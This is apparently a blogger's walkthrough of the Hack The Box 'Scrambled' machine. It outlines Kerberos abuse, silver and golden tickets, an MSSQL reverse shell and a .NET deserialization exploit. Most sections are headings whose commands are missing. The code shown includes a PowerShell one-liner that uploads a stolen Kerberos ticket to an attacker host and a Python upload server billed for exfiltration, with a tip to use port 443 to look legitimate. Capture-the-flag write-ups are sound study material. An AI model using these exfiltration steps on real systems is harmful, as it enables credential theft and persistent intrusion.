Scrambled HTB Walkthrough

Oct 9, 2024    #box   #htb   #medium   #windows   #kerberos   #mssql   #.net   #deserialization   #csharp  

Scrambled Hack The Box Walkthrough/Writeup:

How I use variables & wordlists:

1. Enumeration:

NMAP:

LDAP 389:

Using LDAP anonymous bind to enumerate further:

Kerberos 88:

User enumeration using Kerbrute :

SMB 445:

Checking for NULL & Guest Sessions netexec:

DNS 53:

Using dnsenum to check for interesting DNS records:

HTTP 80:

Finding an internal website:

Fuzzing for pages using FFUF:

Discovering their was breach & NTLM authentication is disabled:

Discovering Password Resets Cause Password to Be Set As Username:

Discovering that ksimpson is most likely part of IT/Support:

Sales Order App:

MSSQL 1433:

ScrambleCorp Order Service 4411:

Using nc to connect to port 4411:

2. Authenticated Enumeration:

Realizing the mistake I made when enumerating:

Connecting to the SMB shares as ksimpson:

Trying to force netexec to use kerberos authentication:

Trying to force smbmap to use kerberos authentication:

Trying to force smbclient to use kerberos authentication:

Using impacket-smbclient to authenticate to the SMB Share using kerberos:

Finding a file called Network Security Changes.pdf:

Opening Network Security Changes.pdf:

I also try and connect to smb as the other users:

Reading Network Security Changes.pdf:

Attempting to extract creator names from the .PDF:

If you are not aware, it is sometimes possible to extract valid domain usernames from pdf's if they have been created on a Windows host. As often the Creator Field is populated using the Windows User’s Logged-In Name

Attempting to extract Usernames From the PDF using exiftool:

Trying to Connect to MSSQL using impacket-mssql:

Kerberoasting using Kerberos Credentials to Get More Kerberos Credentials:

Using impacket-GetUsersSPNs to extract the SQL service Kerberos Tickets:

Cracking the sqlsvc hashes with hashcat:

Trying to connect to the MSSQL Service:

I’ve got a SilverTicket maybe…

Generate NTLM Hash of sqlsvc user:

Extracting the Domain SID using impacket-getPac:

What is a Privilege Attribute Certificate (PAC):

Creating the silver ticket with impacket-ticketer:

Using the silver ticket to access the SQL instance:

3. Foothold:

Activating xp_cmdshell on the host to enumerate the underlying host system:

Getting a reverse shell as sqlsvc:

Enumerating the Database & Finding Creds for MiscSvc:

4. Lateral Movement:

Getting a shell as MiscSvc:

As I have credentials it dawned on me I can most likely invoke a ps-session using the creds of MiscSvc once I have an established session…..right?

And here’s what didnt’ work:

Here is what did work Good Ol’ ….Secure….Invoke:

Getting our reverse shell as MiscSvc:

Here’s a breakdown of why this works Code Explanation:
  1. Convert password to a secure string:

    • $SecPassword = ConvertTo-SecureString '<Password>' -AsPlainText -Force
      • ConvertTo-SecureString: Converts a plain text string '<Password>') into a secure string.
      • -AsPlainText: This flag tells PowerShell that the input is plain text (non-secure).
      • -Force: Suppresses warnings/errors and forces the command to accept plain text input.
      • Result: The password is stored as an encrypted SecureString in the $SecPassword variable.
  2. Create a credential object:

    • $Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
      • New-Object System.Management.Automation.PSCredential: This creates a new credential object, combining a username and the secure password.
      • 'scrm.local\MiscSvc': The username is 'scrm.local\MiscSvc'.
      • $SecPassword: The password (in secure string format) is passed to the credential object.
      • Result: The $Cred object contains the username and encrypted password.
  3. Invoke-Command to execute a script block on a target machine:

    • Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { whoami }
      • Invoke-Command: Executes the specified script block { whoami } on a remote computer.
      • -Computer 127.0.0.1: Target machine is 127.0.0.1 (the local machine).
        • As we want to authorize with creds we have for the local machine.
      • -Credential $Cred: Specifies the credentials to use (`$Cred`, the object created above).
      • -ScriptBlock { whoami }: The script block to be executed on the target machine.
        • +Note+: Any command can be placed here, like our reverse shell

Enumerating SMB shares as miscsvc

Using the ScrambledClient.exe:

Finding a login bypass by Examining the ScrambleLib.dll in DNSpy:

DLL’s can hold a lot of valuable information so they are worth examining with tools like DNSpy :

5. Privilege Escalation:

Logging into ScrambledClient.exe using scrmdev creds:

Examining how serialized data is sent via ScrambledClient.exe:

6. Ownership:

Crafting a Payload with yoserial.net & catching a system shell:

7. Persistence:

Creating A Golden Ticket with mimikatz:

Transferring the Golden Ticket Using my custom python webserver:

  1. Start my custom python webserver:

    • I have this handy python webserver that is useful when exfiling data.
      • Save as pythonServer.py
      • Rung python3 pythonServer.py
         from http.server import SimpleHTTPRequestHandler, HTTPServer
        
         class SimpleHTTPUploadHandler(SimpleHTTPRequestHandler):
             def do_POST(self):
                 length = int(self.headers['Content-Length'])
                 field_data = self.rfile.read(length)
                 #If you prefer change the file to be whatever you want
                 with open('uploaded_file', 'wb') as f:
                     f.write(field_data)
                 self.send_response(200)
                 self.end_headers()
                 self.wfile.write(b'File uploaded successfully')
        
        # You can set the port to be 443 etc so it looks more legitimate.
         def run(server_class=HTTPServer, handler_class=SimpleHTTPUploadHandler, port=9000):
             server_address = ('', port)
             httpd = server_class(server_address, handler_class)
             print(f"Starting httpd server on port {port}")
             httpd.serve_forever()
        
         if __name__ == "__main__":
             run()
        
    • +NOTE+: Will output file as uploaded_file
  2. Send the ticket from victim using powershell:

     filePath = "C:\Temp\ticket.kirbi"; $url = "http://10.10.14.31:9000"; $fileBytes = [System.IO.File]::ReadAllBytes($filePath); $webClient = New-Object System.Net.WebClient; $webClient.UploadData($url, $fileBytes)
    
    • Ticket received on our attack host:
      • +Note+: The file will be called uploaded_file you will have to change it back to <file>.kirbi
  3. Convert with impacket-ticketconverter:

    • impacket-ticketConverter ticket.kirbi admin.ccache
  4. Import into session my current session:

    • export KRB5CCNAME=./admin.ccache
  5. Check ticket is loaded into memory:

    • klist
  6. Fire up impacket-psexec and connect:

    • We have persistence.

Lessons Learned:

What did I learn?

  1. I learned about using pure kerberos authentication when NTLM is disabled (not to sure how useful this will be in real life but it was a fun exercise)
  2. I learned ALOT about deserialization attacks.
  3. I learned more about deconstructing DLL’s with DNSPy, that is fun.

What silly mistakes did I make?

  1. Spent too long trying to use tools that utilize NTLM (netexec) for enumeration.
  2. See point 1, got caught out a few times.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me



Next: Hospital HTB Walkthrough